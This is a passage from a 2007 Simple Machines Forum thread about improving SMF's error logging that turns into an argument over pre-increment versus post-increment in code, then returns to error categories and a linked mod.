Take this silly example (in a C-like language):
you have an array and grab the index of the last value in a variable
Code (Javascript) Select

var lastIndex = somearray.length-1;

then you do some work on the last value of the array using the lastIndex. After 200 lines of code where you work on the last value you decide to add another value to the array,and realise that you want to do some work on that one too.
In this (extreme) case the best and most elegant solution would be to do
Code (Javascript) Select

somearray[++lastIndex] = 'the new value';


You have the new value inserted and after it is inserted the lastIndex is incremented with one.
Normally you would write:
Code (Javascript) Select

lastIndex = lastIndex +1; /*or*/ lastIndex++; /*or*/  ++lastIndex; //they are all the same
somearray[lastIndex] = 'the new value';


Hope I was clear.
I will update all my mods in the next few weeks. Thanks for your patience.

SVG-Collapse (you need an SVG compliant browser)

Sarke

Are we still talking about error logging levels?

My MODs          Please don't PM me for support, post in the appropriate topic.

Rudolf

Quote from: Sarke on January 25, 2007, 10:03:01 AM
Are we still talking about error logging levels?

Yes. And about 'good' and 'bad' practices.
I will update all my mods in the next few weeks. Thanks for your patience.

SVG-Collapse (you need an SVG compliant browser)

Visualcode

Rudolf, I applaud your useless need to argue. Why would you post such a stupid response to what I have said? Did you even read what I wrote? I don't mean to continue an argument here, but I can't help but respond to your post in such a way. You are now just complaining about non-sense, my argument was about bad-code, and was a real, useful suggestion (Not meant to insult ANYBODY, but meant to educate). Let's take a look at why what you said, was just plain rude (maybe that is common here, look at Assistant's post . . . .)

First, if anyone's code makes no sense here, it is YOURS. Why would I have a function (Pre-increment) which calls the function, pre-increment? Can we say, "killer recursion?" Your code:

function PreIncrement()
{
   return ++Self;
}

Would be calling itself, because this is the definition for the usage of "++" as a pre-increment. So, you would have an ever-lasting loop . . . . My code was accurate. For the pre-increment to work, it must first increment, then return that incremented value. My code was meant to show the inner-workings of post and pre-increments. It was not meant to say that you shouldn't use "++," but instead my code. In fact, using my code would be inefficient. The fact that it would need to call the function in itself, and pass data, whether a pointer or a value, both ways, is a waste when you can use increments.

Second, my post made it clear that I was not saying never to use post-increments (At least, I thought it did). Here, let's take a look:

Quote
As you can see, this includes a pre-increment in it, to do a post-increment. So, using this method is a waste, if you are not requiring the previous value of the variable.

My post was just meant to say, that when you are simply incrementing, and not requiring the value prior to the increment, you should use a pre-increment and not a post-increment. The code I offered was trying to help you to see why you should do it this way. The reason because internally, a post-increment requires more work than a pre-increment.

In the future, before insulting someone trying to help the community, perhaps you should into your comments and their accuracy.

Visualcode

Sarke, I apologize for helping to lead this off-topic. I too would like some sort of solution to the error-logging troubles. But, it is very hard for me not to respond to someone insulting my code, when it is not wrong, and was only meant to help. Well, I did miss a semi-colon in there, but that's not too bad when I am not really in a "coding mode," and it did get the proper idea across. As for the whole start of my post, I was not meaning to start an argument, just wanted to inform people about post vs. pre-increments, it is sort of a pet peeve of mine.

Rudolf

Quote from: Visualcode on January 25, 2007, 06:46:17 PM
My code was meant to show the inner-workings of post and pre-increments.
It is not what your previous post says, because your previous post doesn't says this.
Whatever.
I will update all my mods in the next few weeks. Thanks for your patience.

SVG-Collapse (you need an SVG compliant browser)

Sarke

Well, this one's derailed. 

A suggestion for an option to control the level of errors that are getting logged (and other various error log improvement suggestions), turned into a philosophical discusssion about coding practises, turned into a "my way of coding is better" and "I know more about coding than you".  Any takers for "my dad codes better than your dad"?

Sad...  ::)

My MODs          Please don't PM me for support, post in the appropriate topic.

Sarke

My point was there's lots of pointless hostility in this thread, and nothing that's dealing with the topic at hand.  I started this thread because I wanted to make SMF better but for some reason all you do is criticise.

My MODs          Please don't PM me for support, post in the appropriate topic.

Visualcode

#37
Quote from: Rudolf on January 26, 2007, 03:39:23 AM
Quote from: Visualcode on January 25, 2007, 06:46:17 PM
My code was meant to show the inner-workings of post and pre-increments.
It is not what your previous post says, because your previous post doesn't says this.
Whatever.

Quote from: My previous post
It can simply increment, and work on the new value. Think of it as a function:

I think I made myself fairly clear as to what I was showing, Rudolf. I was asked the difference between using post and pre-increment. I think it is fairly important that people are taught the difference. Here is why:

Quote
/*or*/ lastIndex++; /*or*/  ++lastIndex; //they are all the same

The fact is they are not all the same. Adding the '++' after is actually more work, internally. Which is why I brought up the idea in the first place. It really is better practice to use pre-increment whenever possible. Post-increment should only be used when requiring the value it returns.

Which, should help you to understand why I can't help but see you as being rude. You respond, incorrectly, saying I am wrong, when I am only trying to help. Also, based on your previous post, it is obvious that this is something that you didn't know. So, I am not only helping others, but you as well. For that, wouldn't a thank you be more appropriate than an argument? Like Sarke has said, all the rudeness here has done nothing but derail this conversation. If we want to be rude, perhaps we should take it elsewhere.

Back on topic...

The problem with the error-log filter, is it is the reverse of what we want. It shows all of one error, when we want one of every. For example, a good error log could do something like this:

Error Log:

Error:     Quantity:
Password incorrect     10
Database Error     2
Your email address needs to be validated before you can login     5

Something like this would allow us to see how many of something, and not be flooded by them. This would allow us to find errors easier. Then, each error could be clicked to either expand or go to a new page, which shows the errors inside. That way, when I have 1000 users, 600 of which entered a wrong password today, I am not flooded by these when looking for that one DB error which MAY or may not exist.

Edit: Added a table, the pre-formatting apparently didn't work.

JayBachatero

Well hopefully this screenshot should end all the arguments here.  In DE the errors are separated in categories.
Follow me on Twitter

"HELP!!! I've fallen and I can't get up"
This moment has been brought to you by LifeAlert

Sarke

Looks good! Thanks SMF team!

Was it like that before this topic was started? :P


The other stuff would be nice as well, like an error flood limit, and the code Daniel15 posted (show that there are errors in the log).  To the latter I would add a "this script had # of errors" as well.  If they're not going to be included, let me know and I'll probably write a mod for them.

My MODs          Please don't PM me for support, post in the appropriate topic.

JayBachatero

Yes it was like that before the topic started.  I think I stated that in one of my replies :P.  There are other error types the but tabs is not shown if there are no errors.
Follow me on Twitter

"HELP!!! I've fallen and I can't get up"
This moment has been brought to you by LifeAlert

Visualcode

Looks good, that should help out quite a bit.

Daniel15

QuoteTo the latter I would add a "this script had # of errors" as well.
How's this: http://www.simplemachines.org/community/index.php?topic=145814.0 :)
Daniel15, former Customisation team member, resigned due to lack of time. I still love everyone here :D.
Go to smfshop.com for SMFshop support, do NOT email or PM me!

Advertisement: